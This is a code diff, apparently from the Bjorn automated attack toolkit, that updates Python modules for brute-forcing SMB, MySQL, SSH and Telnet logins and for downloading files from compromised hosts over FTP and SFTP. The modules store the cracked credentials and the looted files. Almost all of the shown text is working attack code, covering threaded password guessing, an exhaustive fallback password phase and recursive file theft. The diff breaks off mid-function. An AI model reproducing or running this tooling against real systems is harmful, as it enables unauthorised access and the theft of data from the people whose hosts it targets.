Plus de rich/progress. """ @@ -10,12 +10,13 @@ import os import threading import logging import time -from subprocess import Popen, PIPE +from subprocess import Popen, PIPE, TimeoutExpired from smb.SMBConnection import SMBConnection from queue import Queue from typing import List, Dict, Tuple, Optional from shared import SharedData +from actions.bruteforce_common import ProgressTracker, merged_password_plan from logger import Logger logger = Logger(name="smb_bruteforce.py", level=logging.DEBUG) @@ -47,19 +48,20 @@ class SMBBruteforce: return self.smb_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Point d'entrée orchestrateur (retour 'success' / 'failed').""" self.shared_data.bjorn_orch_status = "SMBBruteforce" + self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} success, results = self.bruteforce_smb(ip, port) return 'success' if success else 'failed' class SMBConnector: - """Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname).""" + """Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname).""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées + # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -70,6 +72,7 @@ class SMBConnector: self.lock = threading.Lock() self.results: List[List[str]] = [] # [mac, ip, hostname, share, user, password, port] self.queue = Queue() + self.progress = None # ---------- util fichiers ---------- @staticmethod @@ -115,8 +118,9 @@ class SMBConnector: # ---------- SMB ---------- def smb_connect(self, adresse_ip: str, user: str, password: str) -> List[str]: conn = SMBConnection(user, password, "Bjorn", "Target", use_ntlm_v2=True) + timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6)) try: - conn.connect(adresse_ip, 445) + conn.connect(adresse_ip, 445, timeout=timeout) shares = conn.listShares() accessible = [] for share in shares: @@ -127,7 +131,7 @@ class SMBConnector: accessible.append(share.name) logger.info(f"Access to share {share.name} successful on {adresse_ip} with user '{user}'") except Exception as e: - logger.error(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}") + logger.debug(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}") try: conn.close() except Exception: @@ -137,10 +141,22 @@ class SMBConnector: return [] def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]: + timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6)) cmd = f'smbclient -L {adresse_ip} -U {user}%{password}' + process = None try: process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE) - stdout, stderr = process.communicate() + try: + stdout, stderr = process.communicate(timeout=timeout) + except TimeoutExpired: + try: + process.kill() + except Exception: + pass + try: + stdout, stderr = process.communicate(timeout=2) + except Exception: + stdout, stderr = b"", b"" if b"Sharename" in stdout: logger.info(f"Successful auth for {adresse_ip} with '{user}' using smbclient -L") return self.parse_shares(stdout.decode(errors="ignore")) @@ -150,6 +166,23 @@ class SMBConnector: except Exception as e: logger.error(f"Error executing '{cmd}': {e}") return [] + finally: + if process: + try: + if process.poll() is None: + process.kill() + except Exception: + pass + try: + if process.stdout: + process.stdout.close() + except Exception: + pass + try: + if process.stderr: + process.stderr.close() + except Exception: + pass @staticmethod def parse_shares(smbclient_output: str) -> List[str]: @@ -216,10 +249,13 @@ class SMBConnector: continue self.results.append([mac_address, adresse_ip, hostname, share, user, password, port]) logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Share:{share}") + self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port), "share": shares[0] if shares else ""} self.save_results() self.removeduplicates() success_flag[0] = True finally: + if self.progress is not None: + self.progress.advance(1) self.queue.task_done() # Optional delay between attempts @@ -228,69 +264,82 @@ class SMBConnector: def run_bruteforce(self, adresse_ip: str, port: int): + self.results = [] mac_address = self.mac_for_ip(adresse_ip) hostname = self.hostname_for_ip(adresse_ip) or "" - total_tasks = len(self.users) * len(self.passwords) + dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) + total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords) + len(dict_passwords)) if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] - for user in self.users: - for password in self.passwords: - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") - return False, [] - self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - + self.progress = ProgressTracker(self.shared_data, total_tasks) success_flag = [False] - threads = [] - thread_count = min(40, max(1, total_tasks)) - for _ in range(thread_count): - t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) - t.start() - threads.append(t) - - while not self.queue.empty(): - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce.") - while not self.queue.empty(): - try: - self.queue.get_nowait() - self.queue.task_done() - except Exception: - break - break - - self.queue.join() - for t in threads: - t.join() - - # Fallback smbclient -L si rien trouvé - if not success_flag[0]: - logger.info(f"No success via SMBConnection. Trying smbclient -L for {adresse_ip}") + def run_primary_phase(passwords): + phase_tasks = len(self.users) * len(passwords) + if phase_tasks == 0: + return for user in self.users: - for password in self.passwords: - shares = self.smbclient_l(adresse_ip, user, password) - if shares: - with self.lock: - for share in shares: - if share in IGNORED_SHARES: - continue - self.results.append([mac_address, adresse_ip, hostname, share, user, password, port]) - logger.success(f"(SMB) Found credentials IP:{adresse_ip} | User:{user} | Share:{share} via smbclient -L") - self.save_results() - self.removeduplicates() - success_flag[0] = True - if getattr(self.shared_data, "timewait_smb", 0) > 0: - time.sleep(self.shared_data.timewait_smb) + for password in passwords: + if self.shared_data.orchestrator_should_exit: + logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") + return + self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - return success_flag[0], self.results + threads = [] + thread_count = min(8, max(1, phase_tasks)) + for _ in range(thread_count): + t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) + t.start() + threads.append(t) + + self.queue.join() + for t in threads: + t.join() + + try: + run_primary_phase(dict_passwords) + + if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit: + logger.info( + f"SMB dictionary phase failed on {adresse_ip}:{port}. " + f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)." + ) + run_primary_phase(fallback_passwords) + + # Keep smbclient -L fallback on dictionary passwords only (cost control). + if not success_flag[0] and not self.shared_data.orchestrator_should_exit: + logger.info(f"No success via SMBConnection. Trying smbclient -L for {adresse_ip}") + for user in self.users: + for password in dict_passwords: + shares = self.smbclient_l(adresse_ip, user, password) + if self.progress is not None: + self.progress.advance(1) + if shares: + with self.lock: + for share in shares: + if share in IGNORED_SHARES: + continue + self.results.append([mac_address, adresse_ip, hostname, share, user, password, port]) + logger.success( + f"(SMB) Found credentials IP:{adresse_ip} | User:{user} | Share:{share} via smbclient -L" + ) + self.save_results() + self.removeduplicates() + success_flag[0] = True + if getattr(self.shared_data, "timewait_smb", 0) > 0: + time.sleep(self.shared_data.timewait_smb) + + self.progress.set_complete() + return success_flag[0], self.results + finally: + self.shared_data.bjorn_progress = "" # ---------- persistence DB ---------- def save_results(self): - # insère self.results dans creds (service='smb'), database = + # insère self.results dans creds (service='smb'), database = for mac, ip, hostname, share, user, password, port in self.results: try: self.shared_data.db.insert_cred( @@ -315,12 +364,12 @@ class SMBConnector: self.results = [] def removeduplicates(self): - # plus nécessaire avec l'index unique; conservé pour compat. + # plus nécessaire avec l'index unique; conservé pour compat. pass if __name__ == "__main__": - # Mode autonome non utilisé en prod; on laisse simple + # Mode autonome non utilisé en prod; on laisse simple try: sd = SharedData() smb_bruteforce = SMBBruteforce(sd) @@ -329,3 +378,4 @@ if __name__ == "__main__": except Exception as e: logger.error(f"Error: {e}") exit(1) + diff --git a/actions/sql_bruteforce.py b/actions/sql_bruteforce.py index b6fd814..44184fb 100644 --- a/actions/sql_bruteforce.py +++ b/actions/sql_bruteforce.py @@ -1,9 +1,9 @@ -""" -sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur +""" +sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich) +- Cibles: (ip, port) par l’orchestrateur - IP -> (MAC, hostname) via DB.hosts -- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée -- Succès -> DB.creds (service='sql', database=) +- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée +- Succès -> DB.creds (service='sql', database=) - Conserve la logique (pymysql, queue/threads) """ @@ -16,6 +16,7 @@ from queue import Queue from typing import List, Dict, Tuple, Optional from shared import SharedData +from actions.bruteforce_common import ProgressTracker, merged_password_plan from logger import Logger logger = Logger(name="sql_bruteforce.py", level=logging.DEBUG) @@ -44,18 +45,20 @@ class SQLBruteforce: return self.sql_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Point d'entrée orchestrateur (retour 'success' / 'failed').""" + self.shared_data.bjorn_orch_status = "SQLBruteforce" + self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} success, results = self.bruteforce_sql(ip, port) return 'success' if success else 'failed' class SQLConnector: - """Gère les tentatives SQL (MySQL), persistance DB, mapping IP→(MAC, Hostname).""" + """Gère les tentatives SQL (MySQL), persistance DB, mapping IP→(MAC, Hostname).""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées + # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -66,6 +69,7 @@ class SQLConnector: self.lock = threading.Lock() self.results: List[List[str]] = [] # [ip, user, password, port, database, mac, hostname] self.queue = Queue() + self.progress = None # ---------- util fichiers ---------- @staticmethod @@ -109,16 +113,20 @@ class SQLConnector: return self._ip_to_identity.get(ip, (None, None))[1] # ---------- SQL ---------- - def sql_connect(self, adresse_ip: str, user: str, password: str): + def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306): """ Connexion sans DB puis SHOW DATABASES; retourne (True, [dbs]) ou (False, []). """ + timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6)) try: conn = pymysql.connect( host=adresse_ip, user=user, password=password, - port=3306 + port=port, + connect_timeout=timeout, + read_timeout=timeout, + write_timeout=timeout, ) try: with conn.cursor() as cursor: @@ -134,7 +142,7 @@ class SQLConnector: logger.info(f"Available databases: {', '.join(databases)}") return True, databases except pymysql.Error as e: - logger.error(f"Failed to connect to {adresse_ip} with user {user}: {e}") + logger.debug(f"Failed to connect to {adresse_ip} with user {user}: {e}") return False, [] # ---------- DB upsert fallback ---------- @@ -182,17 +190,20 @@ class SQLConnector: adresse_ip, user, password, port = self.queue.get() try: - success, databases = self.sql_connect(adresse_ip, user, password) + success, databases = self.sql_connect(adresse_ip, user, password, port=port) if success: with self.lock: for dbname in databases: self.results.append([adresse_ip, user, password, port, dbname]) logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}") logger.success(f"Databases found: {', '.join(databases)}") + self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port), "databases": str(len(databases))} self.save_results() self.remove_duplicates() success_flag[0] = True finally: + if self.progress is not None: + self.progress.advance(1) self.queue.task_done() # Optional delay between attempts @@ -201,48 +212,56 @@ class SQLConnector: def run_bruteforce(self, adresse_ip: str, port: int): - total_tasks = len(self.users) * len(self.passwords) + self.results = [] + dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) + total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords)) if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] - for user in self.users: - for password in self.passwords: - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") - return False, [] - self.queue.put((adresse_ip, user, password, port)) - + self.progress = ProgressTracker(self.shared_data, total_tasks) success_flag = [False] - threads = [] - thread_count = min(40, max(1, total_tasks)) - for _ in range(thread_count): - t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) - t.start() - threads.append(t) + def run_phase(passwords): + phase_tasks = len(self.users) * len(passwords) + if phase_tasks == 0: + return - while not self.queue.empty(): - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce.") - while not self.queue.empty(): - try: - self.queue.get_nowait() - self.queue.task_done() - except Exception: - break - break + for user in self.users: + for password in passwords: + if self.shared_data.orchestrator_should_exit: + logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") + return + self.queue.put((adresse_ip, user, password, port)) - self.queue.join() - for t in threads: - t.join() + threads = [] + thread_count = min(8, max(1, phase_tasks)) + for _ in range(thread_count): + t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) + t.start() + threads.append(t) - logger.info(f"Bruteforcing complete with success status: {success_flag[0]}") - return success_flag[0], self.results + self.queue.join() + for t in threads: + t.join() + + try: + run_phase(dict_passwords) + if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit: + logger.info( + f"SQL dictionary phase failed on {adresse_ip}:{port}. " + f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)." + ) + run_phase(fallback_passwords) + self.progress.set_complete() + logger.info(f"Bruteforcing complete with success status: {success_flag[0]}") + return success_flag[0], self.results + finally: + self.shared_data.bjorn_progress = "" # ---------- persistence DB ---------- def save_results(self): - # pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=) + # pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=) for ip, user, password, port, dbname in self.results: mac = self.mac_for_ip(ip) hostname = self.hostname_for_ip(ip) or "" @@ -269,7 +288,7 @@ class SQLConnector: self.results = [] def remove_duplicates(self): - # inutile avec l’index unique; conservé pour compat. + # inutile avec l’index unique; conservé pour compat. pass @@ -282,3 +301,4 @@ if __name__ == "__main__": except Exception as e: logger.error(f"Error: {e}") exit(1) + diff --git a/actions/ssh_bruteforce.py b/actions/ssh_bruteforce.py index c410e83..0578174 100644 --- a/actions/ssh_bruteforce.py +++ b/actions/ssh_bruteforce.py @@ -17,9 +17,11 @@ import socket import threading import logging import time -from datetime import datetime +import datetime + from queue import Queue from shared import SharedData +from actions.bruteforce_common import ProgressTracker, merged_password_plan from logger import Logger # Configure the logger @@ -38,7 +40,7 @@ b_port = 22 b_service = '["ssh"]' b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]' b_parent = None -b_priority = 70 +b_priority = 70 # tu peux ajuster la priorité si besoin b_cooldown = 1800 # 30 minutes entre deux runs b_rate_limit = '3/86400' # 3 fois par jour max @@ -83,6 +85,7 @@ class SSHConnector: self.lock = threading.Lock() self.results = [] # List of tuples (mac, ip, hostname, user, password, port) self.queue = Queue() + self.progress = None # ---- Mapping helpers (DB) ------------------------------------------------ @@ -134,6 +137,7 @@ class SSHConnector: """Attempt to connect to SSH using (user, password).""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + timeout = float(getattr(self.shared_data, "ssh_connect_timeout_s", timeout)) try: ssh.connect( @@ -244,9 +248,12 @@ class SSHConnector: self.results.append([mac_address, adresse_ip, hostname, user, password, port]) logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}") + self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)} success_flag[0] = True finally: + if self.progress is not None: + self.progress.advance(1) self.queue.task_done() # Optional delay between attempts @@ -260,48 +267,53 @@ class SSHConnector: Called by the orchestrator with a single IP + port. Builds the queue (users x passwords) and launches threads. """ + self.results = [] mac_address = self.mac_for_ip(adresse_ip) hostname = self.hostname_for_ip(adresse_ip) or "" - total_tasks = len(self.users) * len(self.passwords) + dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) + total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords)) if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] - for user in self.users: - for password in self.passwords: - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") - return False, [] - self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - + self.progress = ProgressTracker(self.shared_data, total_tasks) success_flag = [False] - threads = [] - thread_count = min(40, max(1, total_tasks)) - for _ in range(thread_count): - t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) - t.start() - threads.append(t) + def run_phase(passwords): + phase_tasks = len(self.users) * len(passwords) + if phase_tasks == 0: + return - while not self.queue.empty(): - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce.") - # clear queue - while not self.queue.empty(): - try: - self.queue.get_nowait() - self.queue.task_done() - except Exception: - break - break + for user in self.users: + for password in passwords: + if self.shared_data.orchestrator_should_exit: + logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") + return + self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - self.queue.join() + threads = [] + thread_count = min(8, max(1, phase_tasks)) + for _ in range(thread_count): + t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) + t.start() + threads.append(t) + self.queue.join() + for t in threads: + t.join() - for t in threads: - t.join() - - return success_flag[0], self.results # Return True and the list of successes if any + try: + run_phase(dict_passwords) + if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit: + logger.info( + f"SSH dictionary phase failed on {adresse_ip}:{port}. " + f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)." + ) + run_phase(fallback_passwords) + self.progress.set_complete() + return success_flag[0], self.results + finally: + self.shared_data.bjorn_progress = "" if __name__ == "__main__": diff --git a/actions/steal_files_ftp.py b/actions/steal_files_ftp.py index f9599fa..ce6f43a 100644 --- a/actions/steal_files_ftp.py +++ b/actions/steal_files_ftp.py @@ -108,20 +108,28 @@ class StealFilesFTP: return out # -------- FTP helpers -------- - def connect_ftp(self, ip: str, username: str, password: str) -> Optional[FTP]: + # Max file size to download (10 MB) — protects RPi Zero RAM + _MAX_FILE_SIZE = 10 * 1024 * 1024 + # Max recursion depth for directory traversal (avoids symlink loops) + _MAX_DEPTH = 5 + + def connect_ftp(self, ip: str, username: str, password: str, port: int = b_port) -> Optional[FTP]: try: ftp = FTP() - ftp.connect(ip, b_port, timeout=10) + ftp.connect(ip, port, timeout=10) ftp.login(user=username, passwd=password) self.ftp_connected = True - logger.info(f"Connected to {ip} via FTP as {username}") + logger.info(f"Connected to {ip}:{port} via FTP as {username}") return ftp except Exception as e: - logger.info(f"FTP connect failed {ip} {username}:{password}: {e}") + logger.info(f"FTP connect failed {ip}:{port} {username}: {e}") return None - def find_files(self, ftp: FTP, dir_path: str) -> List[str]: + def find_files(self, ftp: FTP, dir_path: str, depth: int = 0) -> List[str]: files: List[str] = [] + if depth > self._MAX_DEPTH: + logger.debug(f"Max recursion depth reached at {dir_path}") + return [] try: if self.shared_data.orchestrator_should_exit or self.stop_execution: logger.info("File search interrupted.") @@ -136,7 +144,7 @@ class StealFilesFTP: try: ftp.cwd(item) # if ok -> directory - files.extend(self.find_files(ftp, os.path.join(dir_path, item))) + files.extend(self.find_files(ftp, os.path.join(dir_path, item), depth + 1)) ftp.cwd('..') except Exception: # not a dir => file candidate @@ -146,11 +154,19 @@ class StealFilesFTP: logger.info(f"Found {len(files)} matching files in {dir_path} on FTP") except Exception as e: logger.error(f"FTP path error {dir_path}: {e}") - raise return files def steal_file(self, ftp: FTP, remote_file: str, base_dir: str) -> None: try: + # Check file size before downloading + try: + size = ftp.size(remote_file) + if size is not None and size > self._MAX_FILE_SIZE: + logger.info(f"Skipping {remote_file} ({size} bytes > {self._MAX_FILE_SIZE} limit)") + return + except Exception: + pass # SIZE not supported, try download anyway + local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/')) os.makedirs(os.path.dirname(local_file_path), exist_ok=True) with open(local_file_path, 'wb') as f: @@ -161,6 +177,7 @@ class StealFilesFTP: # -------- Orchestrator entry -------- def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: + timer = None try: self.shared_data.bjorn_orch_status = b_class try: @@ -168,11 +185,14 @@ class StealFilesFTP: except Exception: port_i = b_port + hostname = self.hostname_for_ip(ip) or "" + self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "hostname": hostname} + creds = self._get_creds_for_target(ip, port_i) logger.info(f"Found {len(creds)} FTP credentials in DB for {ip}") def try_anonymous() -> Optional[FTP]: - return self.connect_ftp(ip, 'anonymous', '') + return self.connect_ftp(ip, 'anonymous', '', port=port_i) if not creds and not try_anonymous(): logger.error(f"No FTP credentials for {ip}. Skipping.") @@ -192,9 +212,11 @@ class StealFilesFTP: # Anonymous first ftp = try_anonymous() if ftp: + self.shared_data.comment_params = {"user": "anonymous", "ip": ip, "port": str(port_i), "hostname": hostname} files = self.find_files(ftp, '/') local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/anonymous") if files: + self.shared_data.comment_params = {"user": "anonymous", "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))} for remote in files: if self.stop_execution or self.shared_data.orchestrator_should_exit: logger.info("Execution interrupted.") @@ -207,7 +229,6 @@ class StealFilesFTP: except Exception: pass if success: - timer.cancel() return 'success' # Authenticated creds @@ -216,13 +237,15 @@ class StealFilesFTP: logger.info("Execution interrupted.") break try: - logger.info(f"Trying FTP {username}:{password} @ {ip}") - ftp = self.connect_ftp(ip, username, password) + self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname} + logger.info(f"Trying FTP {username} @ {ip}:{port_i}") + ftp = self.connect_ftp(ip, username, password, port=port_i) if not ftp: continue files = self.find_files(ftp, '/') local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/{username}") if files: + self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))} for remote in files: if self.stop_execution or self.shared_data.orchestrator_should_exit: logger.info("Execution interrupted.") @@ -235,14 +258,15 @@ class StealFilesFTP: except Exception: pass if success: - timer.cancel() return 'success' except Exception as e: logger.error(f"FTP loot error {ip} {username}: {e}") - timer.cancel() return 'success' if success else 'failed' except Exception as e: logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") return 'failed' + finally: + if timer: + timer.cancel() diff --git a/actions/steal_files_ssh.py b/actions/steal_files_ssh.py index 7895eb0..b0bbdf2 100644 --- a/actions/steal_files_ssh.py +++ b/actions/steal_files_ssh.py @@ -218,23 +218,41 @@ class StealFilesSSH: logger.info(f"Found {len(matches)} matching files in {dir_path}") return matches + # Max file size to download (10 MB) — protects RPi Zero RAM + _MAX_FILE_SIZE = 10 * 1024 * 1024 + def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None: """ Download a single remote file into the given local dir, preserving subdirs. + Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory. """ sftp = ssh.open_sftp() self.sftp_connected = True # first time we open SFTP, mark as connected - # Preserve partial directory structure under local_dir - remote_dir = os.path.dirname(remote_file) - local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/')) - os.makedirs(local_file_dir, exist_ok=True) + try: + # Check file size before downloading + try: + st = sftp.stat(remote_file) + if st.st_size and st.st_size > self._MAX_FILE_SIZE: + logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)") + return + except Exception: + pass # stat failed, try download anyway - local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file)) - sftp.get(remote_file, local_file_path) - sftp.close() + # Preserve partial directory structure under local_dir + remote_dir = os.path.dirname(remote_file) + local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/')) + os.makedirs(local_file_dir, exist_ok=True) - logger.success(f"Downloaded: {remote_file} -> {local_file_path}") + local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file)) + sftp.get(remote_file, local_file_path) + + logger.success(f"Downloaded: {remote_file} -> {local_file_path}") + finally: + try: + sftp.close() + except Exception: + pass # --------------------- Orchestrator entrypoint --------------------- @@ -247,6 +265,7 @@ class StealFilesSSH: - status_key: action name (b_class) Returns 'success' if at least one file stolen; else 'failed'. """ + timer = None try: self.shared_data.bjorn_orch_status = b_class @@ -256,6 +275,9 @@ class StealFilesSSH: except Exception: port_i = b_port + hostname = self.hostname_for_ip(ip) or "" + self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "hostname": hostname} + creds = self._get_creds_for_target(ip, port_i) logger.info(f"Found {len(creds)} SSH credentials in DB for {ip}") if not creds: @@ -283,12 +305,14 @@ class StealFilesSSH: break try: - logger.info(f"Trying credential {username}:{password} for {ip}") + self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname} + logger.info(f"Trying credential {username} for {ip}") ssh = self.connect_ssh(ip, username, password, port=port_i) # Search from root; filtered by config files = self.find_files(ssh, '/') if files: + self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))} for remote in files: if self.stop_execution or self.shared_data.orchestrator_should_exit: logger.info("Execution interrupted during download.") @@ -310,12 +334,14 @@ class StealFilesSSH: # Stay quiet on Paramiko internals; just log the reason and try next cred logger.error(f"SSH loot attempt failed on {ip} with {username}: {e}") - timer.cancel() return 'success' if success_any else 'failed' except Exception as e: logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") return 'failed' + finally: + if timer: + timer.cancel() if __name__ == "__main__": diff --git a/actions/telnet_bruteforce.py b/actions/telnet_bruteforce.py index 10f29eb..e7629d9 100644 --- a/actions/telnet_bruteforce.py +++ b/actions/telnet_bruteforce.py @@ -1,9 +1,9 @@ -""" -telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur +""" +telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich) +- Cibles: (ip, port) par l’orchestrateur - IP -> (MAC, hostname) via DB.hosts -- Succès -> DB.creds (service='telnet') -- Conserve la logique d’origine (telnetlib, queue/threads) +- Succès -> DB.creds (service='telnet') +- Conserve la logique d’origine (telnetlib, queue/threads) """ import os @@ -15,6 +15,7 @@ from queue import Queue from typing import List, Dict, Tuple, Optional from shared import SharedData +from actions.bruteforce_common import ProgressTracker, merged_password_plan from logger import Logger logger = Logger(name="telnet_bruteforce.py", level=logging.DEBUG) @@ -43,20 +44,21 @@ class TelnetBruteforce: return self.telnet_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Point d'entrée orchestrateur (retour 'success' / 'failed').""" logger.info(f"Executing TelnetBruteforce on {ip}:{port}") self.shared_data.bjorn_orch_status = "TelnetBruteforce" + self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} success, results = self.bruteforce_telnet(ip, port) return 'success' if success else 'failed' class TelnetConnector: - """Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname).""" + """Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname).""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées + # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -67,6 +69,7 @@ class TelnetConnector: self.lock = threading.Lock() self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port] self.queue = Queue() + self.progress = None # ---------- util fichiers ---------- @staticmethod @@ -110,9 +113,10 @@ class TelnetConnector: return self._ip_to_identity.get(ip, (None, None))[1] # ---------- Telnet ---------- - def telnet_connect(self, adresse_ip: str, user: str, password: str) -> bool: + def telnet_connect(self, adresse_ip: str, user: str, password: str, port: int = 23, timeout: int = 10) -> bool: + timeout = int(getattr(self.shared_data, "telnet_connect_timeout_s", timeout)) try: - tn = telnetlib.Telnet(adresse_ip) + tn = telnetlib.Telnet(adresse_ip, port=port, timeout=timeout) tn.read_until(b"login: ", timeout=5) tn.write(user.encode('ascii') + b"\n") if password: @@ -175,14 +179,17 @@ class TelnetConnector: adresse_ip, user, password, mac_address, hostname, port = self.queue.get() try: - if self.telnet_connect(adresse_ip, user, password): + if self.telnet_connect(adresse_ip, user, password, port=port): with self.lock: self.results.append([mac_address, adresse_ip, hostname, user, password, port]) logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}") + self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)} self.save_results() self.removeduplicates() success_flag[0] = True finally: + if self.progress is not None: + self.progress.advance(1) self.queue.task_done() # Optional delay between attempts @@ -191,46 +198,54 @@ class TelnetConnector: def run_bruteforce(self, adresse_ip: str, port: int): + self.results = [] mac_address = self.mac_for_ip(adresse_ip) hostname = self.hostname_for_ip(adresse_ip) or "" - total_tasks = len(self.users) * len(self.passwords) + dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) + total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords)) if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] - for user in self.users: - for password in self.passwords: - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") - return False, [] - self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) - + self.progress = ProgressTracker(self.shared_data, total_tasks) success_flag = [False] - threads = [] - thread_count = min(40, max(1, total_tasks)) - for _ in range(thread_count): - t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) - t.start() - threads.append(t) + def run_phase(passwords): + phase_tasks = len(self.users) * len(passwords) + if phase_tasks == 0: + return - while not self.queue.empty(): - if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit signal received, stopping bruteforce.") - while not self.queue.empty(): - try: - self.queue.get_nowait() - self.queue.task_done() - except Exception: - break - break + for user in self.users: + for password in passwords: + if self.shared_data.orchestrator_should_exit: + logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") + return + 